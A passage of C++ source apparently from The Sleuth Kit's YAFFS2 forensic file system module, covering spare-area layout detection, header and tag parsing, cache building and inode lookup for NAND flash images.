Make sure there aren't any unexpected fields present for(std::map<std::string, std::string>::iterator it = paramMap.begin(); it != paramMap.end();it++){ if(integerParams.find(it->first) == integerParams.end()){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_validate_config_file: Found unexpected field in config file (\"%s\"). %s", it->first.c_str(), YAFFS_HELP_MESSAGE); return 1; } } return 0; } /* * Function to attempt to determine the layout of the yaffs spare area. * Results of the analysis (if the format could be determined) will be stored * in yfs variables. * * @param yfs File system being analyzed * @param maxBlocksToTest Number of block groups to scan to detect spare area or 0 if there is no limit. * @returns TSK_ERR if format could not be detected and TSK_OK if it could be. */ static TSK_RETVAL_ENUM yaffs_initialize_spare_format(YAFFSFS_INFO * yfs, TSK_OFF_T maxBlocksToTest){ // Testing parameters - can all be changed unsigned int blocksToTest = 10; // Number of blocks (64 chunks) to test unsigned int chunksToTest = 10; // Number of chunks to test in each block unsigned int minChunksRead = 10; // Minimum number of chunks we require to run the test (we might not get the full number we want to test for a very small file) unsigned int chunkSize = yfs->page_size + yfs->spare_size; unsigned int blockSize = yfs->chunks_per_block * chunkSize; TSK_FS_INFO *fs = &(yfs->fs_info); unsigned char *spareBuffer; unsigned int blockIndex; unsigned int chunkIndex; unsigned int currentOffset; unsigned char * allSpares; unsigned int allSparesLength; TSK_OFF_T maxBlocks; bool skipBlock; int goodOffset; unsigned int nGoodSpares; unsigned int nBlocksTested; int okOffsetFound = 0; // Used as a flag for if we've found an offset that sort of works but doesn't seem great int goodOffsetFound = 0; // Flag to mark that we've found an offset that also passed secondary testing int bestOffset = 0; bool allSameByte; // Used in test that the spare area fields not be one repeated byte unsigned int i; int thisChunkBase; int lastChunkBase; // The spare area needs to be at least 16 bytes to run the test if(yfs->spare_size < 16){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format failed - given spare size (%d) is not large enough to contain needed fields\n", yfs->spare_size); } return TSK_ERR; } if ((spareBuffer = (unsigned char*) tsk_malloc(yfs->spare_size)) == NULL) { return TSK_ERR; } allSparesLength = yfs->spare_size * blocksToTest * chunksToTest; if ((allSpares = (unsigned char*) tsk_malloc(allSparesLength)) == NULL) { free(spareBuffer); return TSK_ERR; } // Initialize the pointers to one of the configurations we've seen (thought these defaults should not get used) yfs->spare_seq_offset = 0; yfs->spare_obj_id_offset = 4; yfs->spare_chunk_id_offset = 8; yfs->spare_nbytes_offset = 12; // Assume the data we want is 16 consecutive bytes in the order: // seq num, obj id, chunk id, byte count // (not sure we're guaranteed this but we wouldn't be able to deal with the alternative anyway) // Seq num is the important one. This number is constant in each block (block = 64 chunks), meaning // all chunks in a block will share the same sequence number. The YAFFS2 descriptions would seem to // indicate it should be different for each block, but this doesn't seem to always be the case. // In particular we frequently see the 0x1000 seq number used over multiple blocks, but this isn't the only // observed exception. // Calculate the number of blocks in the image maxBlocks = yfs->fs_info.img_info->size / (yfs->chunks_per_block * chunkSize); // If maxBlocksToTest = 0 (unlimited), set it to the total number of blocks // Also reduce the number of blocks to test if it is larger than the total number of blocks if ((maxBlocksToTest == 0) || (maxBlocksToTest > maxBlocks)){ maxBlocksToTest = maxBlocks; } nGoodSpares = 0; nBlocksTested = 0; for (TSK_OFF_T blockIndex = 0;blockIndex < maxBlocksToTest;blockIndex++){ // Read the last spare area that we want to test first TSK_OFF_T offset = (TSK_OFF_T)blockIndex * blockSize + (chunksToTest - 1) * chunkSize + yfs->page_size; ssize_t cnt = tsk_img_read(fs->img_info, offset, (char *) spareBuffer, yfs->spare_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->spare_size)) { break; } // Is the spare all 0xff / 0x00? // If not, we know we should have all allocated chunks since YAFFS2 writes sequentially in a block // - can't have an unallocated chunk followed by an allocated one // We occasionally see almost all null spare area with a few 0xff, which is not a valid spare. skipBlock = true; for (i = 0;i < yfs->spare_size;i++){ if((spareBuffer[i] != 0xff) && (spareBuffer[i] != 0x00)){ skipBlock = false; break; } } if (skipBlock){ continue; } // If this block is potentialy valid (i.e., the spare contains something besides 0x00 and 0xff), copy all the spares into // the big array of extracted spare areas // Copy this spare area nGoodSpares++; for (i = 0;i < yfs->spare_size;i++){ allSpares[nBlocksTested * yfs->spare_size * chunksToTest + (chunksToTest - 1) * yfs->spare_size + i] = spareBuffer[i]; } // Copy all earlier spare areas in the block for (chunkIndex = 0;chunkIndex < chunksToTest - 1;chunkIndex++){ offset = blockIndex * blockSize + chunkIndex * chunkSize + yfs->page_size; cnt = tsk_img_read(fs->img_info, offset, (char *) spareBuffer, yfs->spare_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->spare_size)) { // We really shouldn't run out of data here since we already read in the furthest entry break; // Break out of chunksToTest loop } nGoodSpares++; for(i = 0;i < yfs->spare_size;i++){ allSpares[nBlocksTested * yfs->spare_size * chunksToTest + chunkIndex * yfs->spare_size + i] = spareBuffer[i]; } } // Record that we've found a potentially valid block nBlocksTested++; // If we've found enough potentailly valid blocks, break if (nBlocksTested >= blocksToTest){ break; } } // Make sure we read enough data to reasonably perform the testing if (nGoodSpares < minChunksRead){ if (tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format failed - not enough potentially valid data could be read\n"); } free(spareBuffer); free(allSpares); return TSK_ERR; } if (tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Testing potential offsets for the sequence number in the spare area\n"); } // Print out the collected spare areas if we're in verbose mode if(tsk_verbose && (! yfs->autoDetect)){ for(blockIndex = 0;blockIndex < nBlocksTested;blockIndex++){ for(chunkIndex = 0;chunkIndex < chunksToTest;chunkIndex++){ for(i = 0;i < yfs->spare_size;i++){ fprintf(stderr, "%02x", allSpares[blockIndex * yfs->spare_size * chunksToTest + chunkIndex * yfs->spare_size + i]); } fprintf(stderr, "\n"); } } } // Test all indices into the spare area (that leave enough space for all 16 bytes) for(currentOffset = 0;currentOffset <= yfs->spare_size - 16;currentOffset++){ goodOffset = 1; for(blockIndex = 0;blockIndex < nBlocksTested;blockIndex++){ for(chunkIndex = 1;chunkIndex < chunksToTest;chunkIndex++){ lastChunkBase = blockIndex * yfs->spare_size * chunksToTest + (chunkIndex - 1) * yfs->spare_size; thisChunkBase = lastChunkBase + yfs->spare_size; // Seq num should not be all 0xff (we tested earlier that the chunk has been initialized) if((0xff == allSpares[thisChunkBase + currentOffset]) && (0xff == allSpares[thisChunkBase + currentOffset + 1]) && (0xff == allSpares[thisChunkBase + currentOffset + 2]) && (0xff == allSpares[thisChunkBase + currentOffset + 3])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - invalid sequence number 0xffffffff\n", currentOffset); } goodOffset = 0; break; } // Seq num should not be zero if((0 == allSpares[thisChunkBase + currentOffset]) && (0 == allSpares[thisChunkBase + currentOffset + 1]) && (0 == allSpares[thisChunkBase + currentOffset + 2]) && (0 == allSpares[thisChunkBase + currentOffset + 3])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - invalid sequence number 0\n", currentOffset); } goodOffset = 0; break; } // Seq num should match the previous one in the block if((allSpares[lastChunkBase + currentOffset] != allSpares[thisChunkBase + currentOffset]) || (allSpares[lastChunkBase + currentOffset + 1] != allSpares[thisChunkBase + currentOffset + 1]) || (allSpares[lastChunkBase + currentOffset + 2] != allSpares[thisChunkBase + currentOffset + 2]) || (allSpares[lastChunkBase + currentOffset + 3] != allSpares[thisChunkBase + currentOffset + 3])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - did not match previous chunk sequence number\n", currentOffset); } goodOffset = 0; break; } // Obj id should not be zero if((0 == allSpares[thisChunkBase + currentOffset + 4]) && (0 == allSpares[thisChunkBase + currentOffset + 5]) && (0 == allSpares[thisChunkBase + currentOffset + 6]) && (0 == allSpares[thisChunkBase + currentOffset + 7])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - invalid object id 0\n", currentOffset); } goodOffset = 0; break; } // All 16 bytes should not be the same // (It is theoretically possible that this could be valid, but incredibly unlikely) allSameByte = true; for(i = 1;i < 16;i++){ if(allSpares[thisChunkBase + currentOffset] != allSpares[thisChunkBase + currentOffset + i]){ allSameByte = false; break; } } if(allSameByte){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - all repeated bytes\n", currentOffset); } goodOffset = 0; break; } } // End of loop over chunks if(!goodOffset){ // Break out of loop over blocks break; } } if(goodOffset){ // Note that we've found an offset that is at least promising if((! goodOffsetFound) && (! okOffsetFound)){ bestOffset = currentOffset; } okOffsetFound = 1; if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Found potential spare offsets: %d (sequence number), %d (object id), %d (chunk id), %d (n bytes)\n", currentOffset, currentOffset+4, currentOffset+8, currentOffset+12); } // Now do some more tests // Really need some more real-world test data to do this right. int possibleError = 0; // We probably don't want the first byte to always be 0xff int firstByteFF = 1; for(blockIndex = 0;blockIndex < nBlocksTested;blockIndex++){ for(chunkIndex = 1;chunkIndex < chunksToTest;chunkIndex++){ if(allSpares[blockIndex * yfs->spare_size * chunksToTest + chunkIndex * yfs->spare_size + currentOffset] != 0xff){ firstByteFF = 0; } } } if(firstByteFF){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Previous data starts with all 0xff bytes. Looking for better offsets.\n"); } possibleError = 1; } if(! possibleError){ // If we already have a good offset, print this one out but don't record it if(! goodOffsetFound){ goodOffsetFound = 1; bestOffset = currentOffset; // Offset passed additional testing and we haven't seen an earlier good one, so go ahead and use it if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Previous offsets appear good - will use as final offsets\n"); } } else{ // Keep using the old one if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Previous offsets appear good but staying with earlier valid ones\n"); } } } } } free(spareBuffer); free(allSpares); if(okOffsetFound || goodOffsetFound){ // Record everything yfs->spare_seq_offset = bestOffset; yfs->spare_obj_id_offset = bestOffset + 4; yfs->spare_chunk_id_offset = bestOffset + 8; yfs->spare_nbytes_offset = bestOffset + 12; if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Final offsets: %d (sequence number), %d (object id), %d (chunk id), %d (n bytes)\n", bestOffset, bestOffset+4, bestOffset+8, bestOffset+12); tsk_fprintf(stderr, "If these do not seem valid: %s\n", YAFFS_HELP_MESSAGE); } return TSK_OK; } else{ return TSK_ERR; } } /** * yaffsfs_read_header( ... ) * */ static uint8_t yaffsfs_read_header(YAFFSFS_INFO *yfs, YaffsHeader ** header, TSK_OFF_T offset) { unsigned char *hdr; ssize_t cnt; YaffsHeader *head; TSK_FS_INFO *fs = &(yfs->fs_info); if ((hdr = (unsigned char*) tsk_malloc(yfs->page_size)) == NULL) { return 1; } cnt = tsk_img_read(fs->img_info, offset, (char *) hdr, yfs->page_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->page_size)) { free(hdr); return 1; } if ((head = (YaffsHeader*) tsk_malloc( sizeof(YaffsHeader))) == NULL) { free(hdr); return 1; } memcpy(&head->obj_type, hdr, 4); memcpy(&head->parent_id, &hdr[4], 4); memcpy(head->name, (char*) &hdr[0xA], YAFFS_HEADER_NAME_LENGTH); memcpy(&head->file_mode, &hdr[0x10C], 4); memcpy(&head->user_id, &hdr[0x110], 4); memcpy(&head->group_id, &hdr[0x114], 4); memcpy(&head->atime, &hdr[0x118], 4); memcpy(&head->mtime, &hdr[0x11C], 4); memcpy(&head->ctime, &hdr[0x120], 4); memcpy(&head->file_size, &hdr[0x124], 4); memcpy(&head->equivalent_id, &hdr[0x128], 4); memcpy(head->alias, (char*) &hdr[0x12C], YAFFS_HEADER_ALIAS_LENGTH); //memcpy(&head->rdev_mode, &hdr[0x1CC], 4); //memcpy(&head->win_ctime, &hdr[0x1D0], 8); //memcpy(&head->win_atime, &hdr[0x1D8], 8); //memcpy(&head->win_mtime, &hdr[0x1E0], 8); //memcpy(&head->inband_obj_id, &hdr[0x1E8], 4); //memcpy(&head->inband_is_shrink, &hdr[0x1EC], 4); // NOTE: This isn't in Android 3.3 kernel but is in YAFFS2 git //memcpy(&head->file_size_high, &hdr[0x1F0], 4); free(hdr); *header = head; return 0; } /** * Read and parse the YAFFS2 tags in the NAND spare bytes. * * @param info is a YAFFS fs handle * @param spare YaffsSpare object to be populated * @param offset, offset to read from * * @returns 0 on success and 1 on error */ static uint8_t yaffsfs_read_spare(YAFFSFS_INFO *yfs, YaffsSpare ** spare, TSK_OFF_T offset) { unsigned char *spr; ssize_t cnt; YaffsSpare *sp; TSK_FS_INFO *fs = &(yfs->fs_info); uint32_t seq_number; uint32_t object_id; uint32_t chunk_id; // Should have checked this by now, but just in case if((yfs->spare_seq_offset + 4 > yfs->spare_size) || (yfs->spare_obj_id_offset + 4 > yfs->spare_size) || (yfs->spare_chunk_id_offset + 4 > yfs->spare_size)){ return 1; } if ((spr = (unsigned char*) tsk_malloc(yfs->spare_size)) == NULL) { return 1; } if (yfs->spare_size < 46) { // Why is this 46? tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffsfs_read_spare: spare size is too small"); free(spr); return 1; } cnt = tsk_img_read(fs->img_info, offset, (char*) spr, yfs->spare_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->spare_size)) { // couldn't read sufficient bytes... if (spare) { free(spr); *spare = NULL; } return 1; } if ((sp = (YaffsSpare*) tsk_malloc(sizeof(YaffsSpare))) == NULL) { return 1; } memset(sp, 0, sizeof(YaffsSpare)); /* * Complete read of the YAFFS2 spare */ // The format of the spare area should have been determined earlier memcpy(&seq_number, &spr[yfs->spare_seq_offset], 4); memcpy(&object_id, &spr[yfs->spare_obj_id_offset], 4); memcpy(&chunk_id, &spr[yfs->spare_chunk_id_offset], 4); if ((YAFFS_SPARE_FLAGS_IS_HEADER & chunk_id) != 0) { sp->seq_number = seq_number; sp->object_id = object_id & ~YAFFS_SPARE_OBJECT_TYPE_MASK; sp->chunk_id = 0; sp->has_extra_fields = 1; sp->extra_parent_id = chunk_id & YAFFS_SPARE_PARENT_ID_MASK; sp->extra_object_type = (object_id & YAFFS_SPARE_OBJECT_TYPE_MASK) >> YAFFS_SPARE_OBJECT_TYPE_SHIFT; } else { sp->seq_number = seq_number; sp->object_id = object_id; sp->chunk_id = chunk_id; sp->has_extra_fields = 0; } free(spr); *spare = sp; return 0; } static uint8_t yaffsfs_is_spare_valid(YAFFSFS_INFO * /*yfs*/, YaffsSpare *spare) { if (spare == NULL) { return 1; } if ((spare->object_id > YAFFS_MAX_OBJECT_ID) || (spare->seq_number < YAFFS_LOWEST_SEQUENCE_NUMBER) || (spare->seq_number > YAFFS_HIGHEST_SEQUENCE_NUMBER)) { return 1; } return 0; } static uint8_t yaffsfs_read_chunk(YAFFSFS_INFO *yfs, YaffsHeader **header, YaffsSpare **spare, TSK_OFF_T offset) { TSK_OFF_T header_offset = offset; TSK_OFF_T spare_offset = offset + yfs->page_size; if (header == NULL || spare == NULL) { return 1; } if (yaffsfs_read_header(yfs, header, header_offset) != 0) { return 1; } if (yaffsfs_read_spare(yfs, spare, spare_offset) != 0) { free(*header); *header = NULL; return 1; } return 0; } /** * Cycle through the entire image and populate the cache with objects as they are found. */ static uint8_t yaffsfs_parse_image_load_cache(YAFFSFS_INFO * yfs) { uint8_t status = TSK_OK; uint32_t nentries = 0; YaffsSpare *spare = NULL; uint8_t tempBuf[8]; uint32_t parentID; if (yfs->cache_objects) return 0; for(TSK_OFF_T offset = 0;offset < yfs->fs_info.img_info->size;offset += yfs->page_size + yfs->spare_size){ status = yaffsfs_read_spare( yfs, &spare, offset + yfs->page_size); if (status != TSK_OK) { break; } if (yaffsfs_is_spare_valid(yfs, spare) == TSK_OK) { if((spare->has_extra_fields) || (spare->chunk_id != 0)){ yaffscache_chunk_add(yfs, offset, spare->seq_number, spare->object_id, spare->chunk_id, spare->extra_parent_id); } else{ // If we have a header block and didn't extract it already from the spare, get the parent ID from // the non-spare data if(8 == tsk_img_read(yfs->fs_info.img_info, offset, (char*) tempBuf, 8)){ memcpy(&parentID, &tempBuf[4], 4); yaffscache_chunk_add(yfs, offset, spare->seq_number, spare->object_id, spare->chunk_id, parentID); } else{ // Really shouldn't happen fprintf(stderr, "Error reading header to get parent id at offset %" PRIxOFF "\n", offset); yaffscache_chunk_add(yfs, offset, spare->seq_number, spare->object_id, spare->chunk_id, 0); } } } free(spare); spare = NULL; ++nentries; } if (tsk_verbose) fprintf(stderr, "yaffsfs_parse_image_load_cache: read %d entries\n", nentries); if (tsk_verbose) fprintf(stderr, "yaffsfs_parse_image_load_cache: started processing chunks for version cache...\n"); fflush(stderr); // At this point, we have a list of chunks sorted by obj id, seq number, and offset // This makes the list of objects in cache_objects, which link to different versions yaffscache_versions_compute(yfs); if (tsk_verbose) fprintf(stderr, "yaffsfs_parse_image_load_cache: done version cache!\n"); fflush(stderr); // Having multiple inodes point to the same object seems to cause trouble in TSK, especially in orphan file detection, // so set the version number of the final one to zero. // While we're at it, find the highest obj_id and the highest version (before resetting to zero) YaffsCacheObject * currObj = yfs->cache_objects; YaffsCacheVersion * currVer; while(currObj != NULL){ if(currObj->yco_obj_id > yfs->max_obj_id){ yfs->max_obj_id = currObj->yco_obj_id; } currVer = currObj->yco_latest; if(currVer->ycv_version > yfs->max_version){ yfs->max_version = currVer->ycv_version; } currVer->ycv_version = 0; currObj = currObj->yco_next; } // Use the max object id and version number to construct an upper bound on the inode TSK_INUM_T max_inum = 0; if (TSK_OK != yaffscache_obj_id_and_version_to_inode(yfs->max_obj_id, yfs->max_version, &max_inum)) { return TSK_ERR; } yfs->fs_info.last_inum = max_inum + 1; // One more for the orphan dir // Make sure the orphan dir is greater than the root dir if (yfs->fs_info.last_inum <= yfs->fs_info.root_inum) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffsfs_parse_image_load_cache: Maximum inum %" PRIuINUM " is not greater than the root inum", yfs->fs_info.last_inum); return TSK_ERR; } return TSK_OK; } // A version is allocated if: // 1. This version is pointed to by yco_latest // 2. This version didn't have a delete/unlinked header after the most recent copy of the normal header static uint8_t yaffs_is_version_allocated(YAFFSFS_INFO * yfs, TSK_INUM_T inode){ YaffsCacheObject * obj; YaffsCacheVersion * version; YaffsCacheChunk * curr; TSK_RETVAL_ENUM result = yaffscache_version_find_by_inode(yfs, inode, &version, &obj); if (result != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffs_is_version_allocated: yaffscache_version_find_by_inode failed! (inode: %d)\n", inode); return 0; } if(obj->yco_latest == version){ curr = obj->yco_latest->ycv_header_chunk; while(curr != NULL){ // We're looking for a newer unlinked or deleted header. If one exists, then this object should be considered unallocated if((curr->ycc_parent_id == YAFFS_OBJECT_UNLINKED) || (curr->ycc_parent_id == YAFFS_OBJECT_DELETED)){ return 0; } curr = curr ->ycc_next; } return 1; } else{ return 0; } } /* * TSK integration * * */ static uint8_t yaffs_make_directory(YAFFSFS_INFO *yaffsfs, TSK_FS_FILE *a_fs_file, TSK_INUM_T inode, const char *name) { TSK_FS_FILE *fs_file = a_fs_file; fs_file->meta->type = TSK_FS_META_TYPE_DIR; fs_file->meta->mode = (TSK_FS_META_MODE_ENUM)0; fs_file->meta->nlink = 1; if((inode == YAFFS_OBJECT_UNLINKED) || (inode == YAFFS_OBJECT_DELETED) || (inode == yaffsfs->fs_info.last_inum)){ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ if(yaffs_is_version_allocated(yaffsfs, inode)){ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNALLOC); } } fs_file->meta->uid = fs_file->meta->gid = 0; fs_file->meta->mtime = fs_file->meta->atime = fs_file->meta->ctime = fs_file->meta->crtime = 0; fs_file->meta->mtime_nano = fs_file->meta->atime_nano = fs_file->meta->ctime_nano = fs_file->meta->crtime_nano = 0; if (fs_file->meta->name2 == NULL) { if ((fs_file->meta->name2 = (TSK_FS_META_NAME_LIST *) tsk_malloc(sizeof(TSK_FS_META_NAME_LIST))) == NULL) { return 1; } fs_file->meta->name2->next = NULL; } if (fs_file->meta->attr != NULL) { tsk_fs_attrlist_markunused(fs_file->meta->attr); } else { fs_file->meta->attr = tsk_fs_attrlist_alloc(); } strncpy(fs_file->meta->name2->name, name, TSK_FS_META_NAME_LIST_NSIZE); fs_file->meta->size = 0; fs_file->meta->attr_state = TSK_FS_META_ATTR_EMPTY; fs_file->meta->addr = inode; return 0; } static uint8_t yaffs_make_regularfile( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file, TSK_INUM_T inode, const char * name ) { TSK_FS_FILE *fs_file = a_fs_file; fs_file->meta->type = TSK_FS_META_TYPE_REG; fs_file->meta->mode = (TSK_FS_META_MODE_ENUM)0; fs_file->meta->nlink =1; if(yaffs_is_version_allocated(yaffsfs, inode)){ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNALLOC); } fs_file->meta->uid = fs_file->meta->gid = 0; fs_file->meta->mtime = fs_file->meta->atime = fs_file->meta->ctime = fs_file->meta->crtime = 0; fs_file->meta->mtime_nano = fs_file->meta->atime_nano = fs_file->meta->ctime_nano = fs_file->meta->crtime_nano = 0; if (fs_file->meta->name2 == NULL) { if ((fs_file->meta->name2 = (TSK_FS_META_NAME_LIST *) tsk_malloc(sizeof(TSK_FS_META_NAME_LIST))) == NULL) return 1; fs_file->meta->name2->next = NULL; } if (fs_file->meta->attr != NULL) { tsk_fs_attrlist_markunused(fs_file->meta->attr); } else { fs_file->meta->attr = tsk_fs_attrlist_alloc(); } fs_file->meta->addr = inode; strncpy(fs_file->meta->name2->name, name, TSK_FS_META_NAME_LIST_NSIZE); fs_file->meta->size = 0; fs_file->meta->attr_state = TSK_FS_META_ATTR_EMPTY; return 0; } /** * \internal * Create YAFFS2 Deleted Object * * @ param yaffs file system * fs_file to copy file information to * return 1 on error, 0 on success */ static uint8_t yaffs_make_deleted( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file ) { TSK_FS_FILE *fs_file = a_fs_file; if (tsk_verbose) tsk_fprintf(stderr, "yaffs_make_deleted: Making virtual deleted node\n"); if (yaffs_make_directory(yaffsfs, fs_file, YAFFS_OBJECT_DELETED, YAFFS_OBJECT_DELETED_NAME)) return 1; return 0; } /** * \internal * Create YAFFS2 Unlinked object * * @ param yaffs file system * fs_file to copy file information to * return 1 on error, 0 on success */ static uint8_t yaffs_make_unlinked( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file ) { TSK_FS_FILE * fs_file = a_fs_file; if (tsk_verbose) tsk_fprintf(stderr, "yaffs_make_unlinked: Making virtual unlinked node\n"); if (yaffs_make_directory(yaffsfs, fs_file, YAFFS_OBJECT_UNLINKED, YAFFS_OBJECT_UNLINKED_NAME)) return 1; return 0; } /** * \internal * Create YAFFS2 orphan object * * @ param yaffs file system * fs_file to copy file information to * return 1 on error, 0 on success */ static uint8_t yaffs_make_orphan_dir( YAFFSFS_INFO * yaffsfs, TSK_FS_FILE * a_fs_file ) { TSK_FS_FILE * fs_file = a_fs_file; TSK_FS_NAME *fs_name = tsk_fs_name_alloc(256, 0); if (fs_name == NULL) return TSK_ERR; if (tsk_verbose) tsk_fprintf(stderr, "yaffs_make_orphan_dir: Making orphan dir node\n"); if (tsk_fs_dir_make_orphan_dir_name(&(yaffsfs->fs_info), fs_name)) { tsk_fs_name_free(fs_name); return TSK_ERR; } if (yaffs_make_directory(yaffsfs, fs_file, yaffsfs->fs_info.last_inum, (char *)fs_name)){ tsk_fs_name_free(fs_name); return 1; } tsk_fs_name_free(fs_name); return 0; } /* yaffsfs_inode_lookup - lookup inode, external interface * * Returns 1 on error and 0 on success * */ static uint8_t yaffs_inode_lookup(TSK_FS_INFO *a_fs, TSK_FS_FILE * a_fs_file, TSK_INUM_T inum) { YAFFSFS_INFO *yfs = (YAFFSFS_INFO *)a_fs; YaffsCacheObject *obj; YaffsCacheVersion *version; YaffsHeader *header = NULL; YaffsSpare *spare = NULL; TSK_RETVAL_ENUM result; uint8_t type; const char *real_name; if (a_fs_file == NULL) { tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffsfs_inode_lookup: fs_file is NULL"); return 1; } if (a_fs_file->meta == NULL) { if ((a_fs_file->meta = tsk_fs_meta_alloc(YAFFS_FILE_CONTENT_LEN)) == NULL) return 1; } else { tsk_fs_meta_reset(a_fs_file->meta); } if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: looking up %" PRIuINUM "\n",inum); switch(inum) { case YAFFS_OBJECT_UNLINKED: yaffs_make_unlinked(yfs, a_fs_file); return 0; case YAFFS_OBJECT_DELETED: yaffs_make_deleted(yfs, a_fs_file); return 0; } if(inum == yfs->fs_info.last_inum){ yaffs_make_orphan_dir(yfs, a_fs_file); return 0; } result = yaffscache_version_find_by_inode(yfs, inum, &version, &obj); if (result != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: yaffscache_version_find_by_inode failed! (inode = %d)\n", inum); return 1; } if(version->ycv_header_chunk == NULL){ return 1; } if (yaffsfs_read_chunk(yfs, &header, &spare, version->ycv_header_chunk->ycc_offset) != TSK_OK) { if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: yaffsfs_read_chunk failed!\n"); return 1; } type = header->obj_type; switch(inum) { case YAFFS_OBJECT_LOSTNFOUND: real_name = YAFFS_OBJECT_LOSTNFOUND_NAME; break; case YAFFS_OBJECT_UNLINKED: real_name = YAFFS_OBJECT_UNLINKED_NAME; break; case YAFFS_OBJECT_DELETED: real_name = YAFFS_OBJECT_DELETED_NAME; break; default: real_name = header->name; break; } switch(type) { case YAFFS_TYPE_FILE: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is a file\n"); yaffs_make_regularfile(yfs, a_fs_file, inum, real_name); break; case YAFFS_TYPE_DIRECTORY: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is a directory\n"); yaffs_make_directory(yfs, a_fs_file, inum, real_name); break; case YAFFS_TYPE_SOFTLINK: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is a symbolic link\n"); yaffs_make_regularfile(yfs, a_fs_file, inum, real_name); a_fs_file->meta->type = TSK_FS_META_TYPE_LNK; break; case YAFFS_TYPE_HARDLINK: case YAFFS_TYPE_UNKNOWN: default: if (tsk_verbose) tsk_fprintf(stderr, "yaffs_inode_lookup: is *** UNHANDLED *** (type %d, header at 0x%x)\n", type, version->ycv_header_chunk->ycc_offset); // We can still set a few things a_fs_file->meta->type = TSK_FS_META_TYPE_UNDEF; a_fs_file->meta->addr = inum; if(yaffs_is_version_allocated(yfs, inum)){ a_fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_ALLOC); } else{ a_fs_file->meta->flags = (TSK_FS_META_FLAG_ENUM)(TSK_FS_META_FLAG_USED | TSK_FS_META_FLAG_UNALLOC); } if (a_fs_file->meta->name2 == NULL) { if ((a_fs_file->meta->name2 = (TSK_FS_META_NAME_LIST *) tsk_malloc(sizeof(TSK_FS_META_NAME_LIST))) == NULL){ return 1; } a_fs_file->meta->name2->next = NULL; } strncpy(a_fs_file->meta->name2->name, real_name, TSK_FS_META_NAME_LIST_NSIZE); break; } /* Who owns this? I'm following the way FATFS does it by freeing + NULLing * this and mallocing if used. */ free(a_fs_file->meta->link); a_fs_file->meta->link = NULL; if (type != YAFFS_TYPE_HARDLINK) { a_fs_file->meta->mode = (TSK_FS_META_MODE_ENUM)(header->file_mode & TWELVE_BITS_MASK); // chop at 12 bits; a_fs_file->meta->uid = header->user_id; a_fs_file->meta->gid = header->group_id; a_fs_file->meta->mtime = header->mtime; a_fs_file->meta->atime = header->atime; a_fs_file->meta->ctime = header->ctime; } if (type == YAFFS_TYPE_FILE) { a_fs_file->meta->size = header->file_size; // NOTE: This isn't in Android 3.3 kernel but is in YAFFS2 git //a_fs_file->meta->size |= ((TSK_OFF_T) header->file_size_high) << 32; } if (type == YAFFS_TYPE_HARDLINK) { // TODO: Store equivalent_id somewhere? */ } if (type == YAFFS_TYPE_SOFTLINK) { a_fs_file->meta->link = (char*)tsk_malloc(YAFFS_HEADER_ALIAS_LENGTH); if (a_fs_file->meta->link == NULL) { free(header); free(spare); return 1; } memcpy(a_fs_file->meta->link, header->alias, YAFFS_HEADER_ALIAS_LENGTH); } free(header); free(spare); return 0; } /* yaffsfs_inode_walk - inode iterator * * flags used: TSK_FS_META_FLAG_USED, TSK_FS_META_FLAG_UNUSED, * TSK_FS_META_FLAG_ALLOC, 